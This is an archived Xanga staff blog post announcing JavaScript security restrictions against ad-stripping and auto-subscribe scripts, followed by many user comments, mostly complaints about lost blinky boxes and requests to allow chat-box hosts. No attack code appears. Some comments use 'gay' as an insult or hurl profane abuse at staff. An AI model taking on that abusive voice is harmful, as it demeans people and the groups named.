  • XANGALAND SECURITY


    We're rolling out some new security measures this morning, to keep Xanga safe and free.


    The security measures are aimed at the growing number of codes on our site.  We love all the amazing Codes on Xanga!  We've noticed that there are two different types of codes:



    • SCRIPT CODES: scripts you can just stick on your site

    • HOSTED CODES: hosted codes that require you to sign up on another website

      • A hosted code that enables chatboxes?!  Very clever...

    We've embraced these codes, and kept the limits on codes pretty loose.  But then members started using malicious Codes to auto-sub some visitors to their sites... and auto-join other visitors to blogrings.  Then other Xangans started stripping our ads off of pages .  The ad is the only way we can keep Xanga free?!  That was also a bummer...


    So, we had to add security measures to make sure that members couldn't install malicious codes, or strip out the ads.  We wanted to make sure it didn't impact the existing scripts on our site, so we ran a beta test all this week.  We discovered that our security measure impacted the following scripts:



    • Blinky boxes - boxes that randomly blink and change colors
    • Cursor Clocks - clocks that follow your cursor around
    • Status Bar codes - the scrolling text that appears in your status bar
    • Falling Objects - Falling Hearts and gifs that drift down your screen

    These Script Codes all depend on the "SetTimeOut" and "position absolute" JavaScript functions.  It's lame that we have to disable some codes (for Xanga Classic members), just because some members are abusing them to strip out ads.  I guess that's just human nature...


    As for Hosted Codes: we had to be careful about which external websites can host javascript, since hackers could try and use them to run malicious code on Xanga sites.  We added just about every external website that users alerted us to during the beta...  Chatterbox, Blogrolling, Bloglines, Buzznet, Sideblog, etc.  If your externally Hosted Code didn't make the list, let us know in the comments and we'll take a look!


    Thanks to everyone who helped out with our beta testing... and our apologies to anyone whose codes stopped rendering because of these security measures.  We hope that Xanga is a safer place now that we've rolled these fixes out!

  • ahhh well, sux that some free users' scripts are disabled, but you gotta do what you gotta do in order to stay in business. Hopefully, more people will go premium :)

  • what color warning level are we at? = )

  • Great work guys, once again!

    And special thanks for the gb fix!

  • First of all, thank you SO MUCH for responding to me in my Xanga. I greatly appreciate the feedback, etc. The personal touch really blew me away.
    I'm sorry that some putzes have made things difficult. It's just like the 3rd grade: a few ruin things for the many.
    Thanks again.

  • I have Premium on this username, but not my other one. I've found a way around your new "security measures", but don't you think I am justified? Why should I have to pay double every month just to have a second blog?

  • There isn't a script I wouldn't give up for a safer surfing ability in Xanga.  You guys may not be perfect, but you're close.

  • thanks for informing...

  • .........and the battle between Good and Evil continues!

  • nice work

  • so whats the limit of codes? and now im kinda stuck on what to do...coz now i keep having Error on page. >_<

  • hey, i have a chatbox from activetopic, but now it's not showing :-/ so it would be great if you can look into that.
    http://www.activetopic.com .... i really think that they are one of the BEST tagboards that i've used.

  • "Why should I have to pay double every month just to have a second blog?" -Jayssite

    Hear Hear, I'm with this guy! Why should I have to pay twice just to get a second car? And really, shouldn't I get two houses instead of just one with a mortgage this big? And $4.00 for a soda at the movies? Why, they should be giving me two.

    Life's just not fair.

    *rolleyes*

  • hey i kinda miss my blinky boxes but it's all kewl. i love xanga so much. i force all my friends to make their own pages. xanga is the greatest greatest greatest. you guys rock so much. YAY. thx so much for everything! have a nice wonderful day. ok bye

  • I think that you should be informed of something that's happening on Xanga ... Each time I sign on, I get a few popus (though I'm a premium member), which is no problem.  The thing that bothers me is that the popups, from time to time, automatically attempt to download viruses onto my computer.  Luckily, my computer has good virus protection software that catches the viruses before they become effective, but it is still unnerving.  Also, another virus attempted to infect my computer when I clicked on a link on my "chatter box"  - it's a link that I find often; labled "unlock". 

    Now, my questions are thus:  Are these infected popups from xanga or from sponsors?  Could these be a result of the "chatter box", the site (recommended by xanga) that hosts this function, or their sponsors?   And are you aware that the site you are patronizing is sending viruses to your customers?

  • wowowowowow cool site cute pic

  • oh actually i have one more thing i wanted to ask...i don't know if i should ask it here...maybe someone will read this and be able to help me...my xanga page is http://www.xanga.com/kajimafoo and despite updating all my virus protection and using ad-aware/spybot/blah blah blah i keep getting this trojan virus from some fake site called achtungachtung.com does ennyone else have this problem? i have a feeling it's a script on my page somewhere, tho i'm not savvy enough to find it. please if possible help a girl out will ya? that's all fer now. latas :) .

  • Thanks for the good work. Too bad some think they should own their free site and do anything they wish, even to the detriment of others. The premium cost is a fantastic bargain. Well worth the cost.

  • thats too bad

    but i guess as long as its free i'm ok with that

    l.li

  • what was done to my xanga?!?!?! everybody else's works why does my say error?!?!?!

  • I edited my HTML header...  then my xanga down...suddenly... probably related to the script of hiding the ad banner...but i hope my site can operate again...with an ad or anyway...thx

  • well i think this is fair enough to restrict some users in using malicious codes. well personally i have premium. (though i think it's not much use anyway... its going to expire in 1 month... i don't think i m going to pay again..) Like... we xanga premium users pay so much for one year [especially when i m broke]//// but others just get the same thing without paying? do you think this is fair?!

    and ... to the reply of that.. jayssite. well i think it's not that unfair. Then why do you have to open another blog ? For what use? Like, one is enough! If you really want 2 then pay for it man. anyway. :]

    thanks guys for helping with these problems. I hope you can fix this thing asap. :]

    thanks a lot .

  • I understand the need to keep Xanga free for the users that don't wanna pay 4 dollars amonth. Now the security to be striping codes from us is stupid. I pay for Xanga I Want my blinkie boxes and falling objects. This is not fair. Punish the people that do no wrong.

    Throughly irked,

  • if the ad banners were on the bottom, and not so obtrusive, people (including myself) would certainly mind them less.

  • man i miss my blink boxes!!! and i agree with the person on top... if the adds were on the bottom i wouldnt mind having them at all...

  • neato

  • Yay i'm hopping onto the eprops bandwaggon! thanks for the info.

  • I know you must really love what you do to put up with everything you put up with. I'm very greatful because if not for you, I don't know where in my life I would be right now. Thank you for everything that you are doing to make Xanga the best blogging place ever. 

  • Can't change something without an uprising, huh?  Heck, my xanga is free... I have nothing to say about how it's managed.  Security is a good thing - right?  I appreciate that there are actually people montioring, improving, and working on the site  - instead of people who come in every few days to check the email and reset the server because it's glitched out again.  Thanks Xanga team! :)

  • I don't get it. But free is good. So I likey leeky. (Bio-dome is fucking awsome)

  • i cant believe people were doing that. thats just not cool.

  • 0_o ... aint i allowed to use my chatterbox anymore?

  • Thanks for everything you do!  The falling objects/blinky boxes/etc. drive me crazy anyway!

  • well.. i found out how to rename eprops. coolsky

  • why is it that EVERYTIME you so called "UPDATE" features on xanga you only MESS UP everything?  my xanga is totally fucked up!  none of my scripts work!

  • i loved my falling hearts. thanks a bunch for taking them away.

  • blinkboxes, boxes that have a type of scroller, status scrollbar messages, falling objects -->all have been thrown out the window

  • and i had a question.... if the ads on the page is the only way you can keep xanga free, why does no one click on them... it's only an eyesore no one clicks on the links

  • i've now lost all of the pictures that were linked to results from quizilla.com.  and b/c i can't be bothered to actually *write* very often my xanga is now incredibly bare.  is there anything u can do about it?

    L.

  • I think you are all missing the point of the Add-banners... Its keeping your site free, its on the top so its visable and keeps sponsors happy, If you hate them that much, 4 bucks a month is not that expensive.

  • this sux majorly... though good job ppl

  • bummer..bye bye free cursor clock..

  • I commend  you guys on the work you put into Xanga. Good job! And, thanks for keeping it free...

  • ...it would be great if the ad are at the bottom or maybe if xanga would take the ad out of my box..it would be great ...and put it out of my pink box..hehe hope i'm not to confusing..xanga is the best...^_^

    hope u guy would respond to my comment...because having the ad in my box....making it hard to read some of the word tat is at the top...

    thank you very much

  • Hi ... I looked at my page and noticed my zeocast is gone.  So you guys took it off because you dont think its safe? 

    Please explain. 

    Thanks.

    Its Zeocast.com

  • Sorry for using this as sort of a forum, but:
    "Hear Hear, I'm with this guy! Why should I have to pay twice just to get a second car? And really, shouldn't I get two houses instead of just one with a mortgage this big? And $4.00 for a soda at the movies? Why, they should be giving me two." - SaintMahone

    The difference is that paying another $4 per month just to more easily separate certain posts is absurd. I'm not asking for an additional 20mb of image hosting, or anything like that. All Xangas have unlimited posts anyway, so what's so wrong with the idea of a "sub-blog"?

  • I don't understand the technical jargon.  Does the term "malicious codes" refer to those asshats who leave comments that link you to said asshat's spam/insulting/virus-ridden web site? 

  • aww @ script code i liked that code

    oh well, thanks anywho for clearing up this confusion about ads!

  • ad banners are a sore to the eye.

  • thanks a lot usi

  • that sucks that means now i can't display text on the status bar. my friends blink box and my cousins clock doesn't work either thats bad. i mean i don't use the clock or the blink boxes but the status bar display was good, they shouldn't even take anything off. xanga was okay but it will make the pages look messed up now. oh well...

  • are all of the falling picture/objects scripts disabled?

  • if we do have javascript code that uses setTimeout(), are we screwed? 

    i've got a countdown clock on my site that just stopped working this morning, and i had no idea why until i saw the javascript security message.  if you need to disable it across the board, that's fine. 

  • hey..my chatterbox doesn't work nemore...so yea, can u add it to one of ur lists??? http://cbox.co.za/?box=2427 dats the site for my chatterbox..it works alot better than the flooble or whatever one...thanks!

  • omg my blink box doesnt work and sattus bar codes dont work for me!! how could u!!

  • omg that so #!@$ gay

     

  • i'm glad xanga took away the privilege to put up those codes to make your page so damn annoying. people should keep their site interesting with what they write, not having dumb javascript or css. thanks xanga!! keep up the great work!

  • the xanga ad banner is covering my "new weblog entry", "public preview", and "get xtools".  can something be done to fix it please?

  • if the ad banners were on the bottom, and not so obtrusive, people (including myself) would certainly mind them less.

    i agree with him^

  • i reali do not like this change...-_-;;

  • ugh.. thanx a lot... u took away my falling starz...

  • yeah, the eprop and comment naming things don't work either

  • why don't you just stop "updating" xanga, please.  it only causes me stress... cuz you know how many DAYS/WEEKS i spent trying to make my damn xanga look cool?  you have absolutely no idea!

  • so does dat mean i cant get ma clock coursor bac

  • will we ever have our blinking boxes back?! o.O?

  • hey there.  i have a question.  i tried that alternate comment colors code and put it in my website stats, but when i tested it by leaving myself a comment i didn't notice a change.  why is that?  could it be that there's too many codes in my website stats?  please... help me!!

    thanks,

    calvin

    by the way, keep up the good work

  • very good!!!

    blinky boxes, mouse clocks, falling objects and scrolling status bars are all annoying scripts anyways.

  • bummer...

  • feel free to check my site out n leave comments on how i can make it better peace love n chiggin greace yall

  • Well, i was debating adding blinkboxes to my page... guess this decides it

    Thanks for making xanga safe! Some people will be mad at ya, of course - but we'll all be ok.

  • O NO!! a lot of my friends use those kinds of codes (like blinky boxes etc) theyre gon be pissed when they hear this...

  • ok now my Amber Alert ticker is gone.. any way to fix this or am i just $%& out of luck?

  •  I had the same problem with chatterbox letting in a virus or in my case a trojan horse.And what made it worse was I was on computer at work.(Yikes!) Norton stop it, but right now I'm ready to pull the plug on the chatterbox. I think it's chatterbox end that's letting them in.

  • it would be really great if you can add Textamerica to that list external websites. =)

  • That's fine with me, I neva used those types o' stuffs anyway.

    Woot out peeps, woot out.

  • WHAT THE F??? GODD....NOW U JUST MADE XANGA SUCK....nothing on my site works now...thanks a lot...

  • ya now xanga is kinda a gay!!

  • If I read this right.. Are you saying that from now on the blinky boxes, falling hearts and the other stuff you listed won't be able to work anymore?

  • aww... i miss my swooshy status bar.....

    anyway, its not a big deal, you guys are doing a goodjob

    -kyle

  • Ok i really finally learned to use html and have scrolly things at the bottom and now they don't work. I can understand the sercurity measures you have to take but honestly it isnt fair for the users that aren't doing wrong to be punished. I just canceled my premeuim because I didn't use it much  and because the url never worked for it and now the simple things I could do with classic arent useful thanks a whole lot.

  • aww... i miss my swooshy status bar.....

    anyway, its not a big deal, you guys are doing a goodjob

    -kyle

  • I suggested earlier, that should have an option where the Xanga ad will be either on the top or bottom in the Look & Feel page. So people wont complain about The AD Banner so much and just make life much easier (^_^). 
    By the way,  My xanga messed up, yeah yeah. Where do i go again?

  • does the disabled stuff include counters?

    my counter on the bottom doesn't show up

  • Blinky Boxes and all that gaudy BS sucked anyway.

    Thanks Xanga Team!  I love ya.

  • i think this sucks...im no genious, and i dont know how you guys go abotu this, btu i think there should be some way that oyu can punish just the "evildoers"...but that just how i feel...

  • http://cbox.co.za/

    I think it's much more powerful and user-friendly than the Flobble chatterbox. They used to offer free boxes, but now they only offer paid ones.

    However, I did manage to snag a free one while they still offered it and they allow us to use them. I was wondering if you guys at Xanga could enable their site for Jscript.

    Thanks.

  • weren't the ads at the bottom at one point during xanga...

  • i dont get it...wats so bad about the blink boxes??? all they do is make it look nice

  • http://cbox.co.za/admin.php The Cbox'es don't work anymore! Please check it out! Please please! Thank you!

  • i really want to know, is the codes for blinky boxes, snow (falling objects), and the scrollbar and taskbar effects permanently disabled? im really sad if they are because i really like those codes...like some other people suggested, wouldnt it be better if you put the ads on the bottom instead of making everyone have to lose their code effects? but it is just a suggestion...

  • Well done!  I started getting used to seeing my active virus scanner pop up virus stops on installation of malicious code whenever I visited a xanga site with chatterbox.  I hope that the extra security will help make reading xangas more pleasant.  Thank you for your help!

  • you guys do a great job here.

  • ahh i hosted a code to log people coming to my xanga.. its on my website in one of the folders.. http://twosweet.com/xanga/  its the log.php and the folder "logs" is that okay?

  • Sounds Good. Now visit my site, please. PLEASE! PLEASE! And subscribe! Oh god please.

  • I think it's kinda sad that people come here and act like they don't know what's going on when it's written there in black and white.  Idiots.

  • Well, I'm glad  Xanga is a safer place now! :)

  • well, i think that the use of codes should be limited, as some people put every god-known code on their site.. but then again, that's my opinion, i just end up not going to those sites..heh.. good job guys! the threat levels rise and fall, but they all still mean the same thing.. "Be terrified, but carry on with your day!"

  • hey.....now my site is lookin dull without my blinkbox....this isnt fair....i agree...cant u at least just put the banners at the bottom?!?!?

  • ok..im thinking sum of these ppl need to shut up bcuz john doesnt even have to be doing all this for free! xanga could cost money then what would all of you do! i love xanga and im so glad sumone took time to make it and especially not charge for it! THANK YOU! all you other ppl..just stop using xanga if you don't like it..goodness! ttyl

  • Hi. I'm a webmaster a local church. I was thinking about providing our church members who are also xanga users with a "hosted code" off our church website... but now I cant... I don't want to ask that our website be added to the server list for the entire xangaland as such code would be useful only to a limited number of xanga users (that is, our church members).

    But I had a thought: Would it be possible to enable servers that can provide hosted codes by blogrings? The blogring leader can add/delete allowed servers for the ring members. It provides generic flexibility to add/delete allowed servers to a limited xanga users without compromising the security for the entire xangaland.

    What do you think? I'm not sure how easy the coding would be, but if it's interesting enough idea it may be worth while to pass the idea down to the development team? Thanks!

  • this is so lame....i agree w/ munkey46, adds shuld go at the bottom...ppl wont notice em so they wont wanna take em out! COMMON SENSE....everyone, join my Blogring to rebel!!!

  • my xanga site.. dosent show up anymore... yeah email me pleeeaaaaseee... dorkieducky@aol.com
    id appreciate it lots

  • when u said security, i thought u were going to finally implement SSL logins.

  • yeah i agree u shuld have the banner at the bottom

  • hey... yea... all of this makes a lot of sense, and i personally took off all the ad removers off m site and people who asked me, i didnt tell them where to find it. but one of the javascripts that were taken out was cbox it seems like a pretty safe site and i like it mainly because it has a lot more features than chatterbox for the money (absolutely free!)... well i hope u put this into consideration and thanks for making xanga such a wonderful, safe place!

  • Shit, so I don't get blinky boxes. Great, so now my site looks shitty again. Swell.

  • Not all of us have 4 dollars a month to spend on an internet journal...

  • the people who are complaining about what you did are a bunch of crybabies! Grow up people!

  • that's bull shit because we can't even show our own creativity

  • yo guys suck you have the banner right where my entries are do us all free trial people a favor and take the damn banner off it's starting to get irritaiting

  • Thsi is great and stuff, but i just i have to ask why does teh falling hearts or status bars have to go?

  • unfortunately, the changes that alter my scripts make me wish that you had updated your "security" in a better manner. i understand that we all need the add, but perhaps you should offer formatting choices for the add, like allowing it in a side module, at the footer, OR at the header. i love xanga, but these changes are forcing me to look at other hosting sites.

  • I miss my blink box, my scrolls and my mouse! Especially my mouse...it was nice watching it. Argh! Darn ppl who have to ruin it for everyone else. Keep up the good work though, I love Xanga! Hopefully you guys will be able to let us put those scripts back on again.

  • oh well. poor blinkie boxes. oh well...i never liked using javascript stuff anyway.

  • my xanga stopped working! and so did the xanga homepage, whats going on!

  • No codes not even codes like eprop changing works anymore  you've screwed my site to hell great

  • hey gusy your all so dense, if no one would notice the ad on teh bottom what would be the fucking point of having it, the ad is so we dont all have to pay, its put on top so people CAN see it....DUH!

  • why are some of you even complaining about the ad on the top? the ad shouldn't be a big problem if you want to keep xanga free.

  • Dang...that kinda sucks cuz it messed up my count up script...are you guys gonna be fixing that or will it stay like that?

  • I like using Xanga for free, and I want to keep it safe, but why did u take away my chatterbox?! Why?! WHY?! O well, guess uz gotta do what uz gotta do... ejanks for the info...

    [HeArTz][FrOm][JeNnY]

  • thats horrible

  • this is NOT fair...My blinky boxes dont work anymore.....sniff sniff....

  • Geez. Thanks ALOT. I think I'll go back to Lj.

  • I have a minpoll with bravenet and I dont think it violates any rules and it does not block the adds..is there anything I can do?

  • Good Work  !!!!

  • http://www.codeamber.org is a site that lets you run an amber alert ticker and i used to have it on my xanga but now that you have axed it im out of luck.. anyway to have this site 'ok'd' by you guys so that we can run amber alert tickers on our xangas?

  • Thanx for all of your hard work!

  • so you`re saying...that almost half of the most POPULAR codes are being disabled...UGH, can you please not do that? um. if you haven`t noticed..practically 90% of the xanga members have those scripts on their xangas and now we all have ERRORS on our pages!! wtheck?

    i just don't think thats fair >.< ugh.

  • and plus what the heck is up with this "privacy measures" crap when you're ruining everyone's xanga just to take these measures!! this is BS >.< but maybe i guess i`ll get over it ... and if i don't ill just switch to something better..since obviously you don't care about helping the members !! ='[

  • thank you for your hard work x]

  • and one last thing!!! THE AD BANNER iS ON TOP OF EVERYTHING I DO!! i tried to preview my site and click yes or no..bUT NO! the ad banner was on top of it..and all of my friends xangas the ad banner is on top of their blogs!! dont you think this is just a little mean ??? =[ gosh you make me wanna cry

  • Dude this sucks! Java script should still be allowed as long as it doesn't take away the xanga banner/logo/watever......

  • damnit...i need those blinking boxes and clock cursors

  • umm...kay....i miss muh blinky boxes!!!!....maaaaannnn..its so not kool...i mean i understand wat you're sayin about da xanga banners buh` why is it that you have to take da blinky boxes...there's no harm with that rite?...o and i had a chatterbox from http://cbox.co.za ... but it wasn't on muh site today..so if you would please approve of it...and let me at least have muh chatter box back...and i think dat it wud alot better is da xanga banner was on da bottom of da page...thank you...

  • I'm sad to lose the blink boxes and falling objects... but something else is up.  The last code i put in the Custom Header doesn't work, no matter what it is.  Can u please look into that?

  • 'if the ad banners were on the bottom, and not so obtrusive, people (including myself) would certainly mind them less." -that is so true! i think you guys should put the banner on the bottom! it would be much much better and people wouldnt use the ad hiding code! juss sumthin to think about!

  • for your list of allowed chatterbox hosted sites: can you PLEASE admit cbox?! ive had it for a while and its the best! the home url for it is http://cbox.co.za/ . i also agree that the banners should be displayed at the bottom of the page, so people will not try and take them off with html codes. this whole security thing is a bummer.. but can you please admit my chatterbox?

    kate

  • 'if the ad banners were on the bottom, and not so obtrusive, people (including myself) would certainly mind them less."

    thats dumb. the whole reason theyre there is so people see them, if theyre at the bottom and no one looks, whats the point?

  • well if the ads were smaller or at the bottom, i wouldn`t mind as much. but i totally understand what you guys mean bout keeping xanga free

  • yeah...cute pic.

  • This hasn't been posted on the update box so I'm writing it here....the "Read This Everday!" sounds really dumb...especially where it says "Read this every day to hpucutie03!".....just doesn't work, leave it as "subscribe" instead.

  • you guys are OFFICIALLY amazing...

  • Right on , Whatever. What can you do?

  • i guess i can live without my status bar message.

  • Like a few of the previous messages have pointed out, this is a free service for most of us.  Xanga has to pay for us freeloaders somehow, hence the banner ad at the top.  It really isn't all that huge anyway.  It's not like a popup ad window opens like with some other free sites.  And yeah, as already mentioned, if it were at the bottom noone would notice it, and advertisers aren't going to want to pay for an ad that noone sees.

    As for the blinky boxes, falling things, and status bar messages - I found that stuff kind of annoying for the most part.  I've seen a few xangas it looks good on, but that's the exception, not the rule.  And hey, I'm no sort of web design guru, by any means.  That's just my personal opinion.  If you don't like not being able to do this stuff on Xanga, go elsewhere.  Pay for your own webspace (and really, you can come by that pretty cheap now anyway) and script away to your heart's content.  When you have your blog on someone else's server you have to play by their rules. 

    Life isn't fair.  Get over it.

  • Hey umm yeah im having a problem wit da banner... isnt it supposed to b at da top of da page..??.. well yeah it moved rite over my menu ... could u take care of da problem plz?... and yeah about the malicious codes... i will admit i used an ad stripper once before but yeah i appologize for the harm i did...... soo check out da problem and once again im sry for using an ad stripper......

  • Oh well...If that's what we gotta do..

  • dammit i had de status scrollin dinqi it waz good o wellz n i had a banner wif wordz dinqy dat aint workin eda o wellz dnkz for tellin uz

  • not all people use javascript for bad. i find that it gives my site a good comfortable envirnment which i have been complimented on many times. Banning these sctipts will result in a less gratifying xanga experience. if you find the time, try to find alternatives to removing these problems without the script blocking.

    -PNL

  • wat kind of fuking ad is this, advertising there own shit...I can understand if its other shit, but wat kind of ad is xanga help or shit like that

  • thanx for the xanga warning...

  • i want the bravenet to be approved

  • Ok, so certian codes are gone, doesnt bug me any. But why arent the pictures for the music, books, movies,dvd's that I'm wathcing showing up on my journal? Maybe its just a glitch that I'm too lazy to find, I'll check it out again. Anyways, good job. There are plenty more codes out there you havent found.

  • why did u have to take all the good stuff away? xanga used to be fun when i first started but then all of a sudden you keep changing codes.. gosh just leave everything alone and put everything back. how the f*** do the falling stars and blinkies have anything to do with sercurity? who cares if people take off the banners?! don't try to explain why. they take off the banners because they want to. so just leave the codes alone.. by the way thanks for disabling status bar codes, blinkies, and falling pictures!!

  • did Cbox get in there also?

  • Nice changes!!!

  • it didnt, gimme my cbox back!

  • koo koo ka choo

  • man doesnt it suck that some people take off ur ads i dont want xanga to cost me anything!

  • You know people will just think of new ways to beat you guys AGAIN! and you will also find THAT if you guys keep on restricting everyone, people will start to leave ... re: the premium member, who doesn't see the point in paying something that doesn't give them everything they want ... Aren't we the premium member more important *rolls eyes*

    Of all the people who are non premium members, there are much more who are premium members ...

    And as always the premium member loses out ... Which is me ...

    Why don't you up your age restrictions to 18, for non premium members and the age it is for the ones who go premium, if its that bad, because you know its the kids who have too much access to the net that are screwing it up for the good guys ...

    Kids these days learn the dynamics of the net at kindgergarten ...

    I agree with the ad buttons at the bottom as well and I don't even have ads on my xanga ...

  • Thanks Xanga Team it hasnt affected me, not that i would know...hmmmm Java Script (dunno) lol. Still a computer idiot but getting there

    Kaziophia

  • Awe...that sucks. I wish I could join premium and help all of you out, but I'm not allowed to, do to parental..isms. *heh heh* k, well bye bye, and I hope Xangans are nicer to Xanga!

  • hey what is wrong with my xanga?? it has a error? and it wont open my xanga??? ahh help plz? imma try to figure out why?

  • ok nvm.. i think i got it.. i took out the script code about the ad remover out!! so0o i think its working now my site!

  • it also affects, or at least, i think it affects these codes (i looked in my saved scripts for the settimeout function):

    Countdown/Up script: it counts down to a specific date or counts how many days since a specific date.

    The flooble animated text script: it makes one letter of some text change color at a time.

    Some title scripts... they make the title of your page scroll and stuff

    this weird marquee thing.. it's a box and every few seconds the message in the box changes

    I think it also affects the script that makes a link change different colors when you hover your cursor over it

  • Grr.. This is hella messed up!!! We should be able to put what we want on our xangaz!! It shows something you people mite not have heard of.. its called INDIVIDUALITY!!

  • flooble's chatterbox often gives me popups that get around Google toolbar and then infect me with the downloader.trojan virus. it's not fun. disable flooble.

  • that's sad

  • *sigh* mah xaNgaz aLL sCrewed up weN i sigNed oN...i eNded up puttiN evrydiN up ageN. daNk g0d mah eNtries wereNt erased

  • sigh.... now my site looks like crap.....why not disable the codes that take away the auto subscribe....the banner.....it reeli reeli looks ugly.... can't u just put it on the very bottom.......or make it smaller.....or not put it at all.....i mean....like i tell people how i got my site and how to make it....and could you please put the script on the bottom allowed again..if not me and a L0T otheres will protest and stop using xanga all together....trust me it'll be a big lost.

  • wow...dyz reaLLy suCkz. i neva n0tiCed mah bLiNk b0x n0t werkiN. aaahhhhh!!! meyN i reaLLy l0ved dat bLiNk b0x 2!!! d0se r wuN 0b da diNgz dat makes xaNga heLLa pretty. *sigH* =[

  • Lol, Its funny to read all these comments of people who are complaining "lYkE dYzZ cUz dErE xAnGaZZ r sOO fUgLee" I swear, they're a bunch of spoiled brats. I mean, they're using this site for free and they think they can do whatever the hell they want on it. Bunch of cheap asses. I mean, sure, I've used those codes before but if xanga says no codes then no codes. I'm fine with it, cuz I don't wanna pay. Unless all yoo guys wanna pay for premium, yoo guys should just shut the hell up and suck it up.

  • You guys that keep on complaining don't quite realize what they are trying to stop...

    I know of several Xanga sites that will take your password if you go to them while signed in...

    and as for ad banners... they keep it free. Just because you don't click on it doesn't mean others don't. In fact, if you use Xanga, I think you owe it to them to click their banners.

    So, if you complain that they broke your blinky boxes now, don't complain if your password gets stolen by a malicious xanga site and you lose a helluva lot more than your blinky box.

  • i [for one] dont mind the ad..it is ur way to run the site and keep it actually..well..FREE

    but there are also some changes u can make to it such as let there be an option to change to color of it..because most of the time its white and it totally kills the 'look and feel', as u call it, of the xanga site.

    and also..what is up with the autosubscribing ppl? are u tryin to look popular? lol

  • http://www.jokes2go.com/get_script.html

    I had jokes coming from this site... and now they are gone... is there anyway to get them back?

  • i am reallly disappointed....  it doesnt affect the new layout i was working on but i miss the blinky boxes.  they were cool to watch.  also the scroll box text things are disabled too.  like when theres a lil box and text scrolls in it.  dangit... now i have to fix my friends' xangas... so many.

    the banners were at the bottom once.... accidentally i think.  the comment boxes told forever to load... in general xanga took a while to load.   i am really disappointed... but hey what can i do?  sigh.  i guess im starting to love LJ and melo more and more.  no ads ...  so thats nice... 

  • i have a chatbox hosted by cbox.co.za and it didn't make the cut. was wondering if it could be added to the externally Hosted site list.

  • THIS IS FUCKING GAY!!!!!!!!!!! I HATE THIS SECURITY SHIT!!! XANGA SUCKS ASS NOW AND ITS YOUR FAULT! YOU SUCK DICK!!!!!!!!!!!!!!!

  • You would think that Xanga has enough publicity to not have the Ad Banners anymore.

    Apparently not.

  • snorts has a good idea

  • hi.. gj on the script security =)

    one question.. that picture in ur profile..

    i remember it was from a site, but i couldn't remember the site url.. maybe u can tell me? thanks...
    it's important.. =P

  • I am a xanga-whore.

  • i like the way you handle all of these xangas. is there a way that i can be a part of the team?

  • does this only affect classic members and not the premium members?

  • http://cariad.co.za/bluebox/?sec=chatterbox

    could u check up on this one?

  • my xanga for a while automatically closed, then i went on safe mode and deleted the music link.  is that right?

  • awesome, I was too lazy to recode my replace text javascript TT

  • thanks guys =)

    HUGS!!!

  • i'm sorry to here all they stinky bad thing and all them haterz out there...ignore them cause there booger head...but it's cool that you took safety measure and stuff...we don't want to be like Napster..(they were the kewlest) and I just want to say that I totally love your XANGA! It's soo awesome!!! Love always and forever-Prettyaznbabe (that's my saying please don't still it... i have a copy right on it :P j/k )

  • ku..

  • i was wondering why my blink boxes didnt work...

  • thank u

  • so no more blinking lights?

  • yeah that sucks... easy remedy.. jus get premium =P

  • Cool pic a lick! lmao! bye byez!

  • yesyes, the ad on the bottom iz a great wonderful idea!!

  • Yeah! Dude.

  • I don't know you or anything, but my friends and I have a huge problem and each of us has contacted Xanga abuse on more than one occassion. Please, you are our last hope. Anyone, SOMEONE, help us.

    http://www.xanga.com/home.aspx?user=sara_smells

    http://www.xanga.com/home.aspx?user=justagirlmakeingacomment

    http://www.xanga.com/home.aspx?user=austins_ugly_N_mandys_fat

    PLEASE, look at these sites. We do NOT know these people. They are terrorizing us. We have tried everything. There is nothing left for the three of us to do! I, personally, have emailed Xanga abuse three times. Also, these people have pictrues of us! We are horrified and really have no clue what to do. So anyone, help us! We don't know how far these people will go.

  • Xdarlinlilsarax: Just put them on your 'blocked' list.

  • We all did, but theykeep making new names! We can't escape them!

  • yay i feel better now. that did happen to me when i automaticaly subscribed to someone that i didn't know

  • hi im one of sara's friends . . . . and the websites she listed are truly abusing us in several ways. please, we need your help, xanga says they will shut down abuse sites, but they have not responded to us. thank you for your time

  • Hey Yall it's 10:30 and I'm bord! I'm getting ready for my swim meet so bye!!!

  • dude i feel for you!

    Go to my xanga, and see my recent post: Post

    I announced it, and I have a wide audience of 438 people (about 10 new people every week)... that should spread the news somewhat

    I support xanga!!

  • i appreciate it that you guys are findinq a way to deal with this problem . but it`s not fair that all of us have to suffer . my xanqa layout was perfect with the fallinq hearts, blink b0xes and scrollinq text .. AND most of all the COUNT UP SCRiPTS . those codes had a really special meaninq to my xanqa . and now it`s gone . xanqa seems pretty much useless now .

     

  • aww my scrollbar n change color ne more

  • i think that you should let people put those scripts that bloch the top banner because the banner ruins everything soon this xanga thingie will lose to TBLOG with all the new safety this safety that and the uglee top banner has got tah go in my opinion but ya no w/e keep up the work :]

  • dat sucks

  • Got a question....does xangahits.com counters no longer work? Because I noticed that the my counter is still the same all day. Can you let me know soon please? And if it, where else can I go to get cool counters like that? Thanks!

  • thats gay..how about not.

  • um, i just wanna kno if the blinky boxes and the other stuff will come bak on the xanga sites cause without them, my site looks like..... well, realli plain. well i hope you under stand........ thanks for listening...........

  • i like the blinkies! they're so cool....

    T__T

  • good stuff

  • but why have my counter disappeared too? and I am totally agree with Miss. lovesA that restrict those users who have used malicious codes is already fair enough. It is not that nice to block others who are innocent in the cases!

    Thanks a lot!

  • good job

  • mai blinkboxes tied mai whole site together. it doesn't matter. i don't care. do what you wish, because it's not my money. it' s yours.

  • i agree with your new theory but could we atleast still be able to use the script to make the xanga ad transparent so it wont 100% throw off your site. well thats all. thanks for your time.

  • fun...

  • i don't want to go premium because i don't want to pay but i don't want to have to look at ads either.

    oh well.

  • The Xanga community is suffering, but Xanga wasn't even successful in disabling ad-stripping javascripts!

    People can find ways around security measures! (see my xanga)

  • what the f...it a beta version when will it be an alpha version..mang here it go again i use toplay mmropg game until it stop becoming a beta...o mang sooooon xanga will not be free...but how soon! answer me HOST!

  • I know the security measures are just with our site safety and best interests in mind and all, but not all of the codes are malicious! is there some way to rewrite the falling objects code? I don't mind the ad boxes; I hardly pay attention to them at all, actually, but disabling codes for everyone isn't fair!

    I appreciate the great job y'all do, don't get me wrong! But having the falling objects stay frozen in place is just weird. I haven't done anything wrong or used any malicious codes, so why are my codes disabled??

    Please help me out here!

  • ohh okay

  • I need some help I cant get my xtools thing to workout can someone help me with that thanks in advance

    Jagcutie

  • umm i have a chatterbox from http://cbox.co.za/admin.php?account 

    yeah so if you could look into that please and thank you

  • I guess I can understand... but I did love my falling objects very much ... but it did slow down the loading of my site... but I completely understand

  • All that's really been done is disable innocent scripts! Ad-strippers can still work!

  • This sucks

  • wow y u pplz do dat fer das mad grimy

  • Whatever works....

